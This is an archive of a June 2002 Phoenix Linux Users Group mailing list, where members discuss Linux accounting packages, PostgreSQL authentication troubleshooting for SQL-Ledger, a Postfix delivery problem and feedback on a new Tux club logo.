In-Reply-To: <3D1C9796.90504@netscape.net>; from tvat3000@netscape.net on Fri, Jun 28, 2002 at 10:06:30AM -0700 References: <3D1C9796.90504@netscape.net> Message-ID: <20020628125927.A35264@megconsult.com> Two come to mind: GNUCash Sql Ledger and perhaps GNUEnterpise Personally, I am begining to take a look at Sql Ledger (www.sql-ledger.org), problem is I'm an ole MySQL guy and need to learn more 'bout PostgreSQL On Fri, Jun 28, 2002 at 10:06:30AM -0700, Don Calfa wrote: Are there any accounting packages like Peachtree or Quickbooks for Linux? I haven't seen one and I know that this key program would be instrumental for getting small businesses into the Linux world. I'm also looking for personal reasons. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 18:12:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Fri, 28 Jun 2002 11:12:38 -0700 (MST) Subject: Membership database In-Reply-To: <5.1.0.14.0.20020628085153.0246a0e0@localhost> Message-ID: I'm all for a database. Those who wish to be in it, can join. Those who do not, simply do nothing. \\/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 18:31:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Fri, 28 Jun 2002 11:31:07 -0700 Subject: Membership database (was Re: West Side InstallFest) In-Reply-To: <5.1.0.14.0.20020626203832.025352a0@localhost> References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> Message-ID: <20020628183107.GD8953@ecloud.org> I don't see how it's possible to object to a page which is viewable only by members and which might be able to have members' home-page links on it if they choose to add them. Let's do it. I can help too if you need it. On Thu, Jun 27, 2002 at 09:33:05AM -0700, Kimi A. Adams wrote: > In answer.................... > > At 6/26/02, you wrote: > >Isn't there an announce list? If the membership of this list were > >exposed > >to its members (which I see right now it isn't - only the admin can see > >this) > >then you'd basically have an email list. Maybe this could be augmented > >with a database which maps the emails to some web links. Every member > >could modify this mapping to link the email to a "my involvement with > >PLUG" type page, and some software could be set up on the PLUG web > >server to optionally host those pages there instead of on members' own > >web servers, for those who don't have their own. Your password for your > >mailing list membership should be re-used to grant you access to edit > >your automatically-created default member page. Sounds like a job for > >Zope or something doesn't it? > And that's the reason for my two cents or so. That's what Unity Wave > does. We have programming that allows for quick duplication of a > "template" that is then easily updated by the user rather than the > webmaster. I have proposed this kind of programming before. Sometimes, > it's the grumbling that doesn't let a project begin or finish. > > >If you separate the membership database from the mailing list, then it > >is not self-maintaining, nobody will care very much about keeping it > >up to date and soon it will not be. Witness the shortness and age of > >this page: http://plug.phoenix.az.us/membersites.shtml for proof of > >that. See how many links you can still follow. I believe I sent in > >email to notify the web master that my link is way out of date, but > >never got a response. But if members can maintain their own links at > >the same time they manage their list subscriptions, then it will tend > >to stay up-to-date. Which means of course that this ought to be a > >Mailman feature, ideally. Every member of any list ought to be able > >to put a URL next to his name on the "member list" page. > > > Your suggestions are of the utmost importance to me. If I can move > forward with programming for something like this, then those suggestions > will be implemented if we can possibly implement. I only have history > with PLUG for a year and a half or so. I don't know what has been tried > before or what hasn't. > > We make life and changing life easy for the end user. Personally, I > don't want to have to go back and fix everything that a user can't. I > don't want to have to hard code any URL anywhere on my pages unless I > have to. > > If the decision were actually made to do so, we are poised and ready to > move forward. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 18:55:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 11:55:05 -0700 Subject: eterm In-Reply-To: <20020628174101.66156.qmail@web10603.mail.yahoo.com> References: <20020628174101.66156.qmail@web10603.mail.yahoo.com> Message-ID: <200206281155.05420.zen2now@qwest.net> you could try that, and it will probably work. but if it doesnt or you would rather get the RH rpm, try http://rpmfind.net. once there look for a good mirror, the primary site is usually saturated. slr On Friday 28 June 2002 10:41 am, Alpha Zenon Sanchez wrote: > So Bryce - > > Can I take my mandrake CD, find the .rpm for eterm and > install it on my RH 7.2? > > > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:22:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 12:22:02 -0700 Subject: SuSE 7.3 sparc64 In-Reply-To: References: Message-ID: <200206281222.02232.zen2now@qwest.net> > I guess Debian isn't a distro? > > http://www.debian.org/releases/unstable/sparc/install 2.1.1 Supported Architectures Sun SPARC | sparc | - sun4cdm | - sun4u there is no mention of sparc64, this was why i decided on SuSE > or 2.4 isnt a new kernel? > > http://mirror.mcs.anl.gov/debian/pool/main/k/kernel-image-sparc-2.4/ and yes it is a newer kernel, but once again there was no mention of sparc64. unlike SuSE, they had sparc64-iso's and that was why i chose SuSE. slr From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:21:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Fri, 28 Jun 2002 15:21:19 -0400 (EDT) Subject: POSTFIX "Host not found" In-Reply-To: <200206281225.g5SCP4220958@PlugList.MyButt.Net> Message-ID: Hi. Testing out postfix on RH 7.3 and can't get it to send mail. For any address, postfix accepts the mail from the client, but it is never delivered. /etc/postfix/maillog reports "Host not found" for each one, even though on the command line I can do lookups to these mx records and connect on port 25 to them. Can anyone help? Thanks! Scott ----------------------------- Tired of Microsoft Windows? Visit http://www.lycoris.com! From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:24:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Fri, 28 Jun 2002 12:24:24 -0700 Subject: Accounting Packages References: <4A8DFDA6B395D411A11B00508BEE23FE76B548@mail.int.fh.org> Message-ID: <3D1CB7E8.6030505@netscape.net> Gnucash is not an accounting package that does inventory, payroll, job cost, and 90% of the other features that Quickbooks has. Tom Achtenberg wrote: >Look at Gnucash > >-----Original Message----- >From: Don Calfa [mailto:tvat3000@netscape.net] >Sent: Friday, June 28, 2002 10:07 AM >To: PLUG-discuss@lists.plug.phoenix.az.us >Subject: Accounting Packages > > >Are there any accounting packages like Peachtree or Quickbooks for >Linux? I haven't seen one and I know that this key program would be >instrumental for getting small businesses into the Linux world. I'm >also looking for personal reasons. > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:27:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Fri, 28 Jun 2002 12:27:31 -0700 Subject: Accounting Packages References: <3D1C9796.90504@netscape.net> Message-ID: <3D1CB8A3.7030005@netscape.net> Quasar and SQL-Ledger look like it. Thanks guys. Don Calfa wrote: > Are there any accounting packages like Peachtree or Quickbooks for > Linux? I haven't seen one and I know that this key program would be > instrumental for getting small businesses into the Linux world. I'm > also looking for personal reasons. > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:38:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 14:38:23 -0500 (CDT) Subject: Accounting Packages In-Reply-To: <3D1C9796.90504@netscape.net> Message-ID: GNU Enterprise (http://www.gnuenterprise.org) is a start. We have recently started re-tooling Noguska's GPL'd NOLA web accounting and make it work with GNUe Framework, to give a more immediate solution. -Derek On Fri, 28 Jun 2002, Don Calfa wrote: > Are there any accounting packages like Peachtree or Quickbooks for > Linux? I haven't seen one and I know that this key program would be > instrumental for getting small businesses into the Linux world. I'm > also looking for personal reasons. > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:29:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Fri, 28 Jun 2002 15:29:08 -0400 (EDT) Subject: Samba Help In-Reply-To: <200206281743.g5SHhM223213@PlugList.MyButt.Net> Message-ID: From: Matt Alexander >> Btw my samba problem seems to have fixed itself. >This may have been because it can take quite a while for SMB >requests to fully propogate throughout the network. Up to 30-45 minutes, according to which documentation you read. But I've seen it even take longer on our network! Scott From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:40:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Starke) Date: Fri, 28 Jun 2002 14:40:44 -0500 Subject: postgreSQL permission problems Message-ID: <20020628144044.A45907@megconsult.com> I am attempting to get SQL-Ledger up and running and am running into a few problems as it pertains to postgreSQL. I have done the following: 1. As the user postgres (I'm on a debian sysem btw), I have done: 'createuser mike' 2. As the user 'mike' I have done: 'createdb mydb' 3. I can, as user 'mike' do: 'psql mydb' and get to the command line utility. 4. I have also ensured that I have the line" 'tcpip_socket = 1' in /etc/postgresql.conf 5. I have mucked around in /etc/postgresql/pg_hba.conf a bit and not sure what I have done in there. At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', I get the following error:FATAL 1: IDENT authentication failed for user "mike". I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) I continue to get the same error message. Can anyone offer some guidance here? v/r Mike From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:50:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 14:50:22 -0500 (CDT) Subject: Accounting Packages In-Reply-To: <20020628125927.A35264@megconsult.com> Message-ID: I will speak from lots of experience being a developer in this space both professionally and in free software. > Two come to mind: > GNUCash GNUCash is not for business accounting. Further more it is local file database (not good for business computing), yes I realize they have a Postgres version, but its far from stable. They are working on some small business features but will be more on par with Quickbooks(which IMHO is a horrible business accounting package for many reasons) than a PeachTree > Sql Ledger SQL Ledger showed lots of promise in many ways until you look at its code and guts, last I checked you couldnt even reconcile bank accounts. If you are willing to go web accounting. NOLA from Noguska is much cleaner. > and perhaps GNUEnterpise > I think (biased) that we have the best promise in that we are a Framework much like SAP which offers true flexibility, but we dont have a shrink wrap accounting pak as of today Compiere is another nice package, that is polished but currently requires an Oracle database (pricey) and is under a weak copyleft license (MPL) > Personally, I am begining to take a look at Sql Ledger > (www.sql-ledger.org), problem is I'm an ole MySQL guy and > need to learn more 'bout PostgreSQL MySQL is not suited for business accounting in any way shape or form for many reasons (its a great database for many things, but this aint one of them) I strongly suggest you look at NOLA and give it an evaluation along with SQLLedger before making the jump, you will find it worth your time. Derek Neighbors GNU Enterprise http://www.gnuenterprise.org derek@gnue.org From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:14:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 15:14:29 -0500 (CDT) Subject: postgreSQL permission problems In-Reply-To: <20020628144044.A45907@megconsult.com> Message-ID: > At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try > to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', > I get the following error:FATAL 1: IDENT authentication failed for user "mike". > > I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) > I continue to get the same error message. You are correct this is a pg_hba.conf issue. As evidenced by the IDENT error. An easy way to test this kind of thing w/o having to fire up the application is do a psql -U mike -h localhost mydb Which forces things to access things like your web application does. > > Can anyone offer some guidance here? Comment out the other lines and add this to pg_hba.conf ... local all trust host all 127.0.0.1 255.255.255.255 trust It is not what I would leave for production or generally exposed machine, but it should be enough to allow you to test sql*ledger and see how you like it at which point you can read the finer points of pg_hba.conf options to set what is best for your needs. -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:19:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 13:19:50 -0700 Subject: PLUG Logo Update! Message-ID: <200206281319.50441.zen2now@qwest.net> this is the newest version, also the master will be posted soon. what do you guys think about Tux in a Spawn Costume? http://www.zen2now.com/tux/tux1.jpg need some good feed back, as i want to get going with the screen printing slr From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:19:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Starke) Date: Fri, 28 Jun 2002 15:19:02 -0500 Subject: Accounting Packages In-Reply-To: ; from derek@gnue.org on Fri, Jun 28, 2002 at 02:50:22PM -0500 References: <20020628125927.A35264@megconsult.com> Message-ID: <20020628151901.A49786@megconsult.com> I agree with the GNUCash thing, It was the first thing to come to my mind when he asked tho :-( You recommend NOLA, but it runs off of MySQL. Yet MySQL is not suited for accounting? I think the bottom line is this: There are quite a few folks out there looking for accounting packages to run on *nix. there are some apps that I have plans on tweaking, thus having some clean code sure makes life easier. However, there are some folks (incliuding myself on this one) that just want to use the software and not bother to tweak it. For instance, I was looking for a CRM package for a client; I found 'Relata'. Nothing fancy, but it works. I have made some minor tweaks to it, and the db, but all in all,they run it as is. I'd like to find an equivalent accounting package. Web driven, sql based (postgres or mysql), and something I can make minor tweaks on. I'll take another look at NOLA in the meantime. v/r Mike On Fri, Jun 28, 2002 at 02:50:22PM -0500, Derek Neighbors wrote: I will speak from lots of experience being a developer in this space both professionally and in free software. > Two come to mind: > GNUCash GNUCash is not for business accounting. Further more it is local file database (not good for business computing), yes I realize they have a Postgres version, but its far from stable. They are working on some small business features but will be more on par with Quickbooks(which IMHO is a horrible business accounting package for many reasons) than a PeachTree > Sql Ledger SQL Ledger showed lots of promise in many ways until you look at its code and guts, last I checked you couldnt even reconcile bank accounts. If you are willing to go web accounting. NOLA from Noguska is much cleaner. > and perhaps GNUEnterpise > I think (biased) that we have the best promise in that we are a Framework much like SAP which offers true flexibility, but we dont have a shrink wrap accounting pak as of today Compiere is another nice package, that is polished but currently requires an Oracle database (pricey) and is under a weak copyleft license (MPL) > Personally, I am begining to take a look at Sql Ledger > (www.sql-ledger.org), problem is I'm an ole MySQL guy and > need to learn more 'bout PostgreSQL MySQL is not suited for business accounting in any way shape or form for many reasons (its a great database for many things, but this aint one of them) I strongly suggest you look at NOLA and give it an evaluation along with SQLLedger before making the jump, you will find it worth your time. Derek Neighbors GNU Enterprise http://www.gnuenterprise.org derek@gnue.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:37:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 16:37:06 -0400 Subject: PLUG Logo Update! Message-ID: My $0.02. It is lopsided with the BIG saguaro on the right and the little cactus on the left. I like the balance of the original logo, with saguaros not too big and on both sides. It would match the banner we already have. Other than that, way cool work! Thanks for doing it! Alan On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: this is the newest version, also the master will be posted soon. what do you guys think about Tux in a Spawn Costume? http://www.zen2now.com/tux/tux1.jpg need some good feed back, as i want to get going with the screen printing slr ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 19:40:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 28 Jun 2002 15:40:14 -0400 (EDT) Subject: PLUG Logo Update! In-Reply-To: <200206281319.50441.zen2now@qwest.net> Message-ID: I'm not going to be much help on feedback, I think it's fantastic! On Fri, 28 Jun 2002, slr wrote: > this is the newest version, also the master will be posted soon. what do you > guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:53:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 28 Jun 2002 13:53:42 -0700 Subject: PLUG Logo Update! In-Reply-To: <200206281319.50441.zen2now@qwest.net> References: <200206281319.50441.zen2now@qwest.net> Message-ID: <02062813534219.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 IMHO - it looks great! The saguaro is my preference over the prickly tho. Now, if it were two saguaro behind Tux, I would send my check in today. On Friday 28 June 2002 13:19, you wrote: > this is the newest version, also the master will be posted soon. what do > you guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRzM1ysk3ywszI1FEQISRwCgx4Z19fo6bt4Mc0Y9L1fSiU83SO4AoK8a nWW1q4VlA6Tet6Ee42Op5dWc =N//S -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:45:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 16:45:16 -0400 Subject: MS offers licence fee FINANCING! Message-ID: This is from an e-newsletter I get from MS, as I deal with them in my professional life. I have clipped away most of it. I laughed about this part, though. I think they are shooting themselves in the foot, which is good for Linux. Alan -------- Forwarded message -------- Date: Fri, 28 Jun 2002 12:55:41 -0700 From: alandd@mindspring.com Reply-to: 3_33069_3379B672-B0AF-D011-8B19-08002BB74F3F_US@Newsletters.Microsoft.com To: alandd@consultpros.com Subject: Local News Southwest Connection Microsoft Southwest Connection for Arizona - July 2002 Edition ---- __________________________TABLE OF CONTENTS_________________________ 1. Product News 2. Licensing Updates 3. Events 4. Training 5. User Groups, Chats and Webcasts 6. Service and Support 7. Other Resources ---- 2. LICENSING UPDATES REMINDER! July 31, 2002 Software Assurance & Upgrade Advantage Eligibility will end! Until July 31, 2002, you may enroll eligible existing licenses in Software Assurance or Upgrade Advantage that offer a simpler way for you to keep current with the latest and most innovative Microsoft products. Learn about the benefits today: Overview of Software Assurance and Upgrade Advantage http://www.microsoft.com/licensing/programs/sa/sadefined.asp Understand Your Options: Purchase by July 31 and Save http://www.microsoft.com/licensing/programs/sa/saprepare.asp Open License Customers can Exercise 90-day No Payments/No Interest Option Microsoft is offering, for a limited time, the Microsoft Open License Credit Line Program to qualified small and medium businesses in the United States. It provides business owners with low minimum monthly payments options through extremely competitive financing for purchases made through July 31, 2002. Learn more from the FAQ about the Microsoft Open License Credit Line Program. http://www.microsoft.com/licensing/programs/open/finance/faqcredit.asp ---- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:51:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Fri, 28 Jun 2002 15:51:50 -0500 (CDT) Subject: Accounting Packages In-Reply-To: <20020628151901.A49786@megconsult.com> Message-ID: > I agree with the GNUCash thing, It was the first thing to come to > my mind when he asked tho :-( > > You recommend NOLA, but it runs off of MySQL. Yet MySQL is not suited > for accounting? In an earlier mail I stated that GNU Enterprise was 'enhancing' NOLA, one such enhancement is we added postgres support, my bad. We are working with Noguska to get all changes incorporated back in. If you would like to see the postgres version before its committed let me know and I can point you at where to get it. -Derek From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:49:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Fri, 28 Jun 2002 13:49:19 -0700 (MST) Subject: postgreSQL permission problems In-Reply-To: <20020628144044.A45907@megconsult.com> Message-ID: Mike, how is the postmaster started? (postmaster is the postgresql backend server) There is an option the postmaster needs in order to allow network connections. Example, looking at the process list (ps ax): /usr/local/pgsql/bin/postmaster -i -D /web/pgsql The "-i" option seen here allows tcp connections, without it, quite a few of the software's can't connect. If you don't see this "-i" option, that may be your problem. A typical startup command for the postmaster looks like this (but all on one line!): su - postgres -c "/usr/local/pgsql/bin/postmaster -i -D /web/pgsql >logfile 2>&1 &" On Fri, 28 Jun 2002, Mike Starke wrote: I am attempting to get SQL-Ledger up and running and am running into a few problems as it pertains to postgreSQL. I have done the following: 1. As the user postgres (I'm on a debian sysem btw), I have done: 'createuser mike' 2. As the user 'mike' I have done: 'createdb mydb' 3. I can, as user 'mike' do: 'psql mydb' and get to the command line utility. 4. I have also ensured that I have the line" 'tcpip_socket = 1' in /etc/postgresql.conf 5. I have mucked around in /etc/postgresql/pg_hba.conf a bit and not sure what I have done in there. At any rate, when I fire up http://localhost/sqlledger.admin.pl, login, and then try to "Create Dataset" under the user 'mike', my linux (mike) password, and connect to 'mydb', I get the following error:FATAL 1: IDENT authentication failed for user "mike". I'm suspect my problems lie within pg_hba.conf, but whatever I do (thinking it is wide open) I continue to get the same error message. Can anyone offer some guidance here? v/r Mike ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:05:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 14:05:43 -0700 Subject: PLUG Logo Update! In-Reply-To: References: Message-ID: <200206281405.43067.zen2now@qwest.net> k, i sent the feedback to Austin, and he is on it. so maybe here shortly we will have another version up for viewing. thx for the quick response! slr On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > My $0.02. > > It is lopsided with the BIG saguaro on the right and the little cactus on > the left. I like the balance of the original logo, with saguaros not too > big and on both sides. It would match the banner we already have. > > Other than that, way cool work! Thanks for doing it! > > Alan > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > this is the newest version, also the master will be posted soon. what do > you guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:00:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Fri, 28 Jun 2002 14:00:49 -0700 Subject: PLUG Logo Update! In-Reply-To: References: Message-ID: <20020628210048.GG8953@ecloud.org> I like the cacti better, I think; but I think those white lines on Tux's arms aren't necessary, makes him look too artificial and also creates a bit of an illusion where his left arm meets his foot. And maybe his right arm (our left, his right) should be more rounded, convex instead of concave. It looks like you did this as a scalable vector graphic of some kind, which is great for blowing up to make bigger stuff like banners or T-shirts. I think maybe the main font should be non-italic, and only the tagline in italics. On Fri, Jun 28, 2002 at 04:37:06PM -0400, alandd@mindspring.com wrote: > It is lopsided with the BIG saguaro on the right and the little cactus on the > left. I like the balance of the original logo, with saguaros not too big and > on both sides. It would match the banner we already have. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 20:16:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Fri, 28 Jun 2002 16:16:28 -0400 (EDT) Subject: MS offers licence fee FINANCING! In-Reply-To: Message-ID: On Fri, 28 Jun 2002 alandd@mindspring.com wrote: > Open License Customers can Exercise 90-day No Payments/No Interest Option > Microsoft is offering, for a limited time, the Microsoft Open License Credit > Line Program to qualified small and medium businesses in the United States. It > provides business owners with low minimum monthly payments options through > extremely competitive financing for purchases made through July 31, 2002. > Learn more from the FAQ about the Microsoft Open License Credit Line Program. > http://www.microsoft.com/licensing/programs/open/finance/faqcredit.asp Honey, did you forget to pay the Microsoft bill? The computer won't let me open my email. ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:17:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Fri, 28 Jun 2002 14:17:16 -0700 Subject: PLUG Logo Update! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B54C@mail.int.fh.org> I like this one just the way it is. -----Original Message----- From: slr [mailto:zen2now@qwest.net] Sent: Friday, June 28, 2002 2:06 PM To: plug-discuss@lists.plug.phoenix.az.us; alandd@mindspring.com Subject: Re: PLUG Logo Update! k, i sent the feedback to Austin, and he is on it. so maybe here shortly we will have another version up for viewing. thx for the quick response! slr On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > My $0.02. > > It is lopsided with the BIG saguaro on the right and the little cactus on > the left. I like the balance of the original logo, with saguaros not too > big and on both sides. It would match the banner we already have. > > Other than that, way cool work! Thanks for doing it! > > Alan > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > this is the newest version, also the master will be posted soon. what do > you guys think about Tux in a Spawn Costume? > > http://www.zen2now.com/tux/tux1.jpg > > need some good feed back, as i want to get going with the screen printing > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 21:28:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Starke) Date: Fri, 28 Jun 2002 16:28:37 -0500 Subject: postgreSQL permission problems In-Reply-To: ; from tom@technicaljanitors.com on Fri, Jun 28, 2002 at 01:49:19PM -0700 References: <20020628144044.A45907@megconsult.com> Message-ID: <20020628162837.A57530@megconsult.com> Right before Derek replied I figured out the pg_hba file right. So her was right on. although I have it fairly wide open, I'm able to get in and evaluate the program. I do have one question: Someone posted earlier this week about postgres utilizing the GRANT & REVOKE statements. In MySQL, it is pretty straightforward (at least to me) what happens when you issue GRANT statements. How is this handled in postgreSQL? Does it make entries in a table somewhere, or does it manipulate the pg_hba file? Or? v/r mike :On Fri, Jun 28, 2002 at 01:49:19PM -0700, Tom Emerson wrote: Mike, how is the postmaster started? (postmaster is the postgresql backend server) There is an option the postmaster needs in order to allow network connections. Example, looking at the process list (ps ax): 